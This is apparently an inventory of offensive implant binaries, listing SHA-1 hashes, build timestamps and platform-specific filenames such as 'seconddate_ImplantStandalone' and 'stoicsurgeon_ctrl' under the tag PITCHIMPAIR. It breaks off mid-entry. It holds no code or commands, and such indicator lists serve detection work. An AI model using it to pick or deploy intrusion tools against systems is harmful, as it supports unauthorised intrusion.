+004985EB33049066515CA75C7E8973EF7F341137 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.sunos5.8_v.2.0.0.3 +4C39B61CD705DAD9EA67B0CFC4173D5C39112A9E Tue Aug 7 20:46:37 2007 [PITCHIMPAIR.99] curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 +D0A2026CA41D5447834EBF7EA5E1F678B014DE08 Tue Aug 7 20:47:08 2007 [PITCHIMPAIR.99] curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 +03626AFAC3D0469590B55682B6EFBEE738B27945 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.99] curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 +084C1BEF4F49A700BCA931BC3FBA20970BC7BE8A Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.99] curseroot.v1.2.0.2.mswin32_v.1.2.0.1 +D1EEC186A7A7A26232ABAEAE92192A66686B5EA3 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.99] curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 +F978E10EDBB6B0E902A08E74ADA686239D6AF45A Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.win2k_v.2.0.0.3 +045BE831715A93EABEC2813DE0DBC7E8A647CA66 Tue Oct 26 16:47:40 2010 [PITCHIMPAIR.99] curseroot_flx.win2k.i686_v.1.0.0.4 +334DC326DC976E81CAF791C0BEA2B5F88B345034 Thu Jul 3 14:57:47 2008 [PITCHIMPAIR.99] cursesleepy.mswin32_v.1.0.0.5 +D579E4938D34CAEA975FD5EC64750518E100C6F4 Thu Feb 18 20:59:37 2010 [PITCHIMPAIR.99] cursetails.aix5.1_v.1.0.0.1 +53D9695CC72A322D76367422E767F1442DD9E69B Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.99] cursetingle.2.0.1.2.mswin32_v.aix +53D9695CC72A322D76367422E767F1442DD9E69B Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.99] cursetingle.2.0.1.2.mswin32_v.solaris +53D9695CC72A322D76367422E767F1442DD9E69B Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.99] cursetingle.2.0.1.2.mswin32_v.windows +0115A246F86DE953E3035C36159E2D52D1BF478C Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.mswin32_v.solaris_9 +0115A246F86DE953E3035C36159E2D52D1BF478C Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.mswin32_v.win_32 +C5CD3F1046FD587D6006D4EACDB534EC66709A20 Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.sunos.5.9_v.solaris_9 +C5CD3F1046FD587D6006D4EACDB534EC66709A20 Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.sunos.5.9_v.win_32 +B8B42BBCEDE8CC78D62177204C869747043CD315 Thu Sep 18 16:41:49 2008 [PITCHIMPAIR.99] cursetingle.v1.1.1.1.aix.5.1_v.aix +D7526C9C76EF87BB5920E7D867672405835885CB Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.aix.5.1_v.aix +D7526C9C76EF87BB5920E7D867672405835885CB Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.aix.5.1_v.solaris +D7526C9C76EF87BB5920E7D867672405835885CB Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.aix.5.1_v.windows +F7D4ECCAADEFBA8F39575F0F286DF27D0E5E3359 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.mswin32_v.aix +F7D4ECCAADEFBA8F39575F0F286DF27D0E5E3359 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.mswin32_v.solaris +F7D4ECCAADEFBA8F39575F0F286DF27D0E5E3359 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.mswin32_v.windows +E4CF16B6682C05EB12842539AC28A8DFDA966CAA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.sunos5.8_v.aix +E4CF16B6682C05EB12842539AC28A8DFDA966CAA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.sunos5.8_v.solaris +E4CF16B6682C05EB12842539AC28A8DFDA966CAA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.sunos5.8_v.windows +4445988AB88CBE67A21C887C24DCB865C193EA7D Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.aix +4445988AB88CBE67A21C887C24DCB865C193EA7D Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.aix.00000 +4445988AB88CBE67A21C887C24DCB865C193EA7D Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.solaris +4445988AB88CBE67A21C887C24DCB865C193EA7D Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.windows +814667A1445DE762B1ACA5FC30CE68C29CC0C50F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.sunos5.8_v.aix +814667A1445DE762B1ACA5FC30CE68C29CC0C50F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.sunos5.8_v.solaris +814667A1445DE762B1ACA5FC30CE68C29CC0C50F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.sunos5.8_v.windows +A46C0ECF8331E321005AB59F3DEF2D7D7D20F2F8 Thu Jul 22 13:02:03 2010 [PITCHIMPAIR.99] cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.flx_aix +BD32C1767F26A737B06431E3D1EC85517AE53B70 Thu Jan 7 13:12:25 2010 [PITCHIMPAIR.99] curseyo.win2k_v.1.0.0.1 +ECFA4D46E844D0719E1372FA030558B3FCC47087 Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.linuxrh7.3_v.linux +ECFA4D46E844D0719E1372FA030558B3FCC47087 Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.linuxrh7.3_v.windows +D94BE9F75578E8D433E1C46DCCCBAF44886D0953 Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.win2k_v.linux +D94BE9F75578E8D433E1C46DCCCBAF44886D0953 Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.win2k_v.windows +9B0648B7D1E2AD0D24E8A6FFA6F115C34D1F57AA Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.linuxrh7.3_v.linux +9B0648B7D1E2AD0D24E8A6FFA6F115C34D1F57AA Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.linuxrh7.3_v.windows +801200A74D17D0EF11AD852A674534AA4C4745B7 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.win2k_v.linux +801200A74D17D0EF11AD852A674534AA4C4745B7 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.win2k_v.windows +730980A9A6B28E94006B20D5197D64F210128493 Wed Oct 13 12:39:38 2010 [PITCHIMPAIR.99] cursezinger.v1.2.0.1.win2k_v.windows +8B85BA9D802259DF68E4D3719AFB41B327AEECF4 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.linuxrh7.3_v.linux +8B85BA9D802259DF68E4D3719AFB41B327AEECF4 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.linuxrh7.3_v.windows +849624BF4D75F45725C6B570D2DED26FB0F2030C Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.win2k_v.linux +849624BF4D75F45725C6B570D2DED26FB0F2030C Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.win2k_v.windows +CA4BB4A31DBA623E4376FABF6B6257445F7E63A1 Thu Apr 19 19:57:29 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.1.1_sparc-sun-solaris +0C1CB1BFD4546990C430FADB7B0766D89D88452F Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.1.3_i386-pc-solaris +CB1290913C9A323228386BA11BA69C4767667405 Fri Jun 13 19:30:15 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.11.1_hppa2.0w-hp-hpux11.11 +DAC1365FD164014DD20E38D07617F1A334286C26 Tue Oct 28 23:56:50 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.12.1_x86-freebsd +EF98C8FBE5494386A74D8E394EDBEBE8DFC86AE0 Tue Oct 28 23:57:00 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.13.1_sparc64-freebsd +3B1A52179D68DF190B09C7D91E917B73294271E3 Tue Dec 9 01:39:13 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.15.1_sparc-sun-solaris +9793EFD21CD5AA4210FEB252C8C708350E40E5FD Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.15.2_x86-linux +416ADE525975284B31B49C68FE96849D6A5D1300 Sat Dec 13 01:44:35 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.15.3_x86_64-linux +8B231B92F8BA8513A246387154B8D68DF8CBE0DC Thu Jun 18 00:12:09 2009 [PITCHIMPAIR.99] dewdrop__v__3.0.16.1_x86-junos-8.5 +B8ECD802CF10F38A235B5D3521754860474207DC Wed May 2 19:51:30 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.1_sparc-sun-solaris +71F163F68A02756639A8EF5E093E04AB0CEDD519 Wed May 2 19:52:04 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.2_x86-linux +4173A6E39114E1CAC59EE6328ACEBAE156F6786C Wed May 2 19:52:49 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.3_i386-pc-solaris +8A4FC587CFBCCC545365F4E99AAB4344AA106DAD Wed Aug 8 15:44:54 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.5_x86-freebsd-6.2 +F16F60FD26BBD750AEC71791D8DF8767DB93BE26 Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.6.1_sparc-sun-solaris +8E6A7C2BF337220C28B6CE676699944181D07478 Wed Sep 19 19:07:20 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.6.2_sparc-sun-solaris2.7 +79335A8A3349211E8182A814C5162B8C83B49265 Thu Nov 29 01:14:50 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.7.1_sparc-sun-solaris +8254801E64264C84C07D32B7AB8C3FB10A6565D2 Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.7.2_x86-freebsd-6.2 +21D88A6D786D6B7AA4663E8533909E695D30DC50 Fri Feb 8 23:33:11 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.1_x86-linux +533F08A4935E85FA76B05658EF278CCC6EBC1826 Sat Feb 9 04:38:28 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.2_sparc-sun-solaris +F9D959673389466676AB366C063538542C055971 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.3_i386-pc-solaris +5B613B344243B0BEECB93DC0726C2F08D74B9A17 Sat Feb 9 05:54:46 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.4_sparc-sun-solaris2.7 +A8B838BD9DF2C126924F8D69EF1C4475A3402B13 Thu Feb 28 22:10:12 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.9.1_x86_64-linux +49939ED43B35CBC643DC9ACC063063F6ECC1A491 Fri Mar 7 13:03:04 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.9.2_x86-freebsd-6 +DA2B60165BF1AECA2C476A6450B830AE93C188D4 Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.9.3_x86-freebsd-5 +03298AE99B26DE4E6395885DEEDEA20932C55561 Tue Oct 20 17:28:25 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.1.2_x86-junos +EEB961D5E8DF3C597DF09BCB7B6E460C921DC72D Mon Oct 26 16:29:35 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.2.6_ia64-hp-hpux11.23 +8430D7412CF373A1EC36827698F3B93FBC5FAFB7 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.1_x86-linux +096F8738F0F49F3B1B226B244056ACE5840670BB Fri Oct 30 23:11:51 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.3_sparc-sun-solaris +64C5BE3704796DD64516305893B07BDCB561EEBF Fri Oct 30 23:14:11 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.4_x86-freebsd +B9792745FB18635CE5EF15ABAD570D87924D0A39 Fri Nov 13 22:08:41 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.5_x86_64-linux +A3089783D20C313FBD109ED88BE8313D16810A66 Wed Nov 18 19:55:45 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.6_i386-pc-solaris +36D8E7DB3E43F4364BDF071997692CA18333FE21 Thu Nov 19 20:41:38 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.7_sparc-sun-solaris2.7 +25B998B4DD752A4EABFD639FF3FC6E151344C108 Tue Mar 9 22:30:03 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.6.1_x86-linux +9840B0CD6FDC891CBA6FAE8F7EAE418F944750CE Tue Mar 30 13:50:49 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.7.2_x86_64-linux +651AEC9211E04830A482B718A2687A877CFEADC5 Thu May 6 16:38:03 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.8.1_x86-linux +1263EC0BBCF6801C13351921265747C2C9E55AB8 Thu May 6 15:23:15 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.8.2_x86_64-linux +A4D619A85E72CC0868D6C18795EF4F9FD2E6BE3A Thu Sep 9 12:41:48 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.8.3_ia64-hp-hpux11.23 +790E05AE54F96A623D18A7E996B12F0C6F2E34C5 Fri Sep 3 21:38:44 2010 [PITCHIMPAIR.99] dewdrop__v__3.2.0.1_x86_64-freebsd +6E3256E910E03189164843BFBAD25D0378C88A2B Tue Nov 21 13:22:42 2006 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.2.0 +ADEB791F789CAC4BC42DF67731CC51DB964F4566 Thu Jun 14 15:14:47 2007 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.2.3.1.3 +A1CFC7578B9D664FAE60172985D3A710174388C8 Thu Aug 7 18:32:21 2008 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.3.0.0.1 +EA926BB87FE2D7A12B56F5E047281A1547898F1E Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.3.1.1.4 +074290D77EA15C35CA2B350B62B97279C85C6D0B Tue Nov 21 13:23:59 2006 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.11_v.2.0 +5C911666D76EAF97A92E433ABC7A07ACA6D733F1 Wed Mar 12 16:24:55 2008 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.11_v.2.3.2.2 +8E18F15867B7DC73D9187A81004E1A7025897C2E Thu Aug 7 18:32:30 2008 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.11_v.3.0.0.1 +088B88D6CE46419A09A1ADD4B8B1C120E4918489 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.hpux11.00.parisc_v.3.2.0.1 +69F469F24A3065A26AA2D4B0FCE66E7F5E2A05C6 Thu Jan 29 16:38:35 2009 [PITCHIMPAIR.99] enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 +A0A6B1A4B16AB860F25B91E7C5DF32DBCF0A720D Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.99] enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 +4FFAE9D144F65E143105587962EB54160F2A2AE0 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.linuxrhe3.6.i686_v.3.2.0.1 +FCB5CF57E5A3862B5AFE67BD17465AE4B347AE54 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.linuxrhl7.3.i686_v.3.2.0.1 +7105BB32AAE8154ED01DF95EB5078D3FF531D65B Mon Nov 9 12:33:26 2009 [PITCHIMPAIR.99] enemyrun.rhl7.3_v.3.1.1.5 +596FDA964A423C070ECB3BDD1709FF8250AB3DF2 Tue Apr 13 11:38:33 2010 [PITCHIMPAIR.99] enemyrun.sunos.8.i386_v.3.1.1.6 +C731E1CE0495234191F8E28683CD75C58D223203 Thu Aug 7 18:32:38 2008 [PITCHIMPAIR.99] enemyrun.sunos5.10_v.3.0.0.1 +D81B92CA82AF1892EB08EA128786A9DE62AD6939 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.sunos5.8.i386_v.3.2.0.1 +27F29B83CD1A8519C63DF1A638FDE5405A590D19 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.sunos5.8.sparc_v.3.2.0.1 +CE9D58B2296DF1C9C97C149893B972DADF9D2854 Tue Nov 21 13:24:25 2006 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.0 +BFAE88D3CD6AF9C1BF3CF5C9FB49246385D6AED6 Thu Mar 8 21:22:28 2007 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.2 +B386D98E85ED5C951E057EEE95B1D11BE5E29175 Wed Apr 11 19:57:36 2007 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.3 +EC5F92C8186D7E85D6FB3EA2D828991E217E4117 Thu Jun 14 15:15:32 2007 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.3.1.3 +E4A0CBC8547EC46D84C721A303784EC9D521E744 Thu Aug 7 18:33:09 2008 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.3.0.0.1 +2C49810E7C63C25F7D2E832AD6B28E31D8DA7F01 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.3.1.1.4 +E10D482323F33220147F3C2EE751191C387A1CF7 Tue Nov 21 13:24:51 2006 [PITCHIMPAIR.99] enemyrun.sunos5.9_v.2.0 +7ECF3E969A78ACF710D9FA63E572303E09A4BFF0 Thu Aug 7 18:33:19 2008 [PITCHIMPAIR.99] enemyrun.sunos5.9_v.3.0.0.1 +F9B4E64794A618A18DF0EC0CFF800A1F3999B65E Wed Apr 2 19:58:32 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 +FDC6CD76832CA370F49163B36FF6FBF587C97D8B Wed Apr 2 20:05:08 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 +4F709DB6F4CE1DFE6ACF23C987067547ABF24622 Wed Apr 2 20:00:36 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 +7103804152CB60EF5C2BE0F8C613830AE536A96B Wed Apr 2 20:03:42 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 +DA3ECAB208C9CB30C252DCD265AF963B63B10C03 Fri Apr 17 02:10:41 2009 [PITCHIMPAIR.99] porks_inetd.gcc.v3.1.0.1 +A4F4C599E808B48852A9E8F164402828EF3250CB Wed May 5 17:21:19 2010 [PITCHIMPAIR.99] porks_inetd.gcc.v3.2.0.1 +1ED6EF85F1AAB67757A29F30E3151C69311794F5 Tue Dec 4 21:47:33 2007 [PITCHIMPAIR.99] porks_porkserver.v3.0.0.1 +6A84CA61ACE4C503A0C5EF11CD3BFD849D276025 Thu May 24 16:11:09 2007 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.3.0.1_linux +2E8CAF714C8517311CDBE082217084FEC2438319 Fri Apr 11 17:55:39 2008 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.5.1.2_linux +724783525102C81F232800080180E8ABC554C28D Tue Jun 24 14:51:43 2008 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.5.1.3_linux +FFAB662C7A792B3F83736B491D45C43AED03BAEC Wed Aug 13 15:34:55 2008 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.6.2.3_linux +2628A3FC9D69096E5963A04A8B1AAA40DE2B428C Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_i386-linux +3151AD1519707C83BE56357FB55396BB5894ED3C Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_i386-solaris +225613B47722B0CD1068D23F75138F942F0639E6 Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_sparc-solaris +80DE892B019112AD4F3C3EF536A1BB9DF3B715F7 Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_x86_64-linux +89A9132BDD4BAD5106716758031E1E8D9B4FF370 Mon May 18 14:29:39 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.2_armv5b-linuxlinux-arm +7F3B69A8898CE4E139FFF038258FDF9A7BB30AA9 Mon Jul 6 10:32:44 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.3_trunklien +E3B3BC1335C94CBD13539AC477541569F3CCDF5A Thu Jul 2 18:13:35 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.4_trunklien +39B41CCBA20455EDDDB03F3C42D85ACE84706A65 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd4 +9A7E07BD491A50DFA878E7236A2986CD99F78543 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd5 +27D70A1B978724A0E939626546892D35D1A90F4B Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd6 +B9B802CEE5B3ACE1A73D3C60346B488419D9F3FA Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd7 +EFD7F5A6FE0BE652BC68D18BA964D329147E5101 Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.4-belowtrunklien +E63C6DBB6ED725CE30020F03EB9424560A0FBCDD Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.5-abovetrunklien +ADAE17E7FD928A6F508455F6659AA1AF977DEC0B Fri Oct 2 21:53:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.6_sparc-solaris +C7783CAC35A14C7D1BF77836465AD1FB79D73D60 Tue May 11 14:03:18 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.7_i386-junos-8.5-abovetrunklien +4C6F60138387B6A4B3A1EC844699829C77A08825 Wed Aug 18 16:44:22 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.8_i386-junos-8.5-abovetrunklien +DCD47E0A16400F7E8E8F8C87386015EF686ADBA7 Mon Nov 22 20:06:41 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.1.0_i386-junos-8.5-abovetrunklien +E58B1BE8EB9790117F745CCB1371F68FC1AC9C2B Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.99] sift.linux_v.2.0.1.1 +0E9BE7FAF6BE3081E346A1F58E0FB76F0FB98EA8 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.99] sift.solaris.sparc_v.2.0.1.1 +81C38166379B15A84BB4D1117ED8CA3D98EB00BF Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.99] sift.solaris.x86_v.2.0.1.1 +E6E90A41A469275D23217B208F22BE8ADE1CCAED Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.99] skimcountry.aix5.1_v.1.4.0.10 +E6E90A41A469275D23217B208F22BE8ADE1CCAED Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.99] skimcountry.aix5.1_v.1.4.0.10.00003 +9A9565CAA27E67CE63C242D3D33A9B238DE24F78 Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.99] skimcountry.aix5.1_v.2.0.0.3 +1A6F4E6E4285833CE19BFDC6AA5325A7BB0F51A5 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.99] skimcountry.sunos5.8_v.1.4.0.10 +1A6F4E6E4285833CE19BFDC6AA5325A7BB0F51A5 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.99] skimcountry.sunos5.8_v.1.4.0.10.00000 +6120CD68D68302EE2EE6431883EEA7A97796ECF7 Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.99] skimcountry.sunos5.8_v.2.0.0.3 +637B00AFD7F45BD1F080BAF0AAB114512B0F8965 Tue Aug 15 16:56:21 2006 [PITCHIMPAIR.99] skimcountry.sunos5.9_v.1.2 +32624D1E1F8D68BDD521B5ACFC28480A3A5BD42B Tue May 27 19:19:11 2008 [PITCHIMPAIR.99] skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 +644E9B0CFD218EEA0D311E4F6B0163200853CF05 Tue May 27 19:19:43 2008 [PITCHIMPAIR.99] skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 +9000859782C5653D29E287BAA4806060D2A228A2 Fri Oct 22 15:47:38 2010 [PITCHIMPAIR.99] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +989C87EC1D7AA3381C1ECA166E475E92658AABA7 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.10.2_i686-pc-linux-gnu-2.4.20-av15 +989C87EC1D7AA3381C1ECA166E475E92658AABA7 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.10.3_i686-pc-linux-gnu-2.6.11-av15 +4CFD9239019194EE7C080C669CD6F530CE4CE878 Wed Jun 7 20:32:22 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.11.1_sparc-sun-solaris2.10 +5E6104CE7571C3B2F18A8132564C42EF4FC7D064 Tue Aug 22 14:22:36 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.10_i686-pc-linux-gnu-2.4-tilttop-ns +FC30CA21ECA309DCBA09E8B6A6EA433FAD9410A2 Tue Aug 8 19:50:04 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.1_i686-pc-linux-gnu-2.6.9-34.el +0723DCB7DE5AF6FA0A62AF95EA55A002FCA01899 Mon Aug 14 19:12:29 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.6_i686-pc-linux-gnu-2.4-tilttop-comet +00355FC524BDFF555FF269A8895248025545DDA9 Thu Aug 17 14:35:37 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.8_i686-pc-linux-gnu-2.4.20-8 +E0766ED98B6256ADDB50B594A68009CCF302E084 Thu Mar 2 19:16:45 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.5.2_sparc-sun-solaris2.8 +1C4D55074B5B5239AE82F4D7F6722813CB6C5375 Thu Mar 2 19:28:08 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.5.3_sparc-sun-solaris2.9 +3AD83D3B75FD8DBEBF176069F052653786FC9243 Thu Jul 27 13:40:05 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.7.1_i386-pc-solaris2.8 +813AA19D038133AAD54CF25EA161F945C26D7D92 Mon Dec 18 18:29:24 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.14.1_x86-linux-centos +A7E7794E6AE340F38DC460630C6373C1F885654D Wed Jan 3 17:11:43 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.16.1_x86-linux-vinifera-npost +B06ED56A321E9B0B4AA5175D6B91F2C8935E97FB Thu Jan 4 17:00:55 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.17.1_x86-linux-redhat-enterprise-3.0 +9EDAFC2182ACFC46091ECE34D5FC56EEB2D9A3A2 Tue Jan 16 17:33:59 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.18.1_x86-linux-mandriva-10.2 +41BBF1BC5CCA1B913BEF85D3896A8CD311E7392F Fri Jan 19 17:25:30 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.19.1_x86-linux-redhat-7.2 +DD32CBEB1885BC233EA7BC6CB488AD6212AD0673 Wed Jan 24 20:35:01 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.19.2_x86-linux-2.4-tilttop-comet_emx_ns +F284C0C527257665BB9BDD32328E7C2C59B835C3 Wed Oct 18 21:14:06 2006 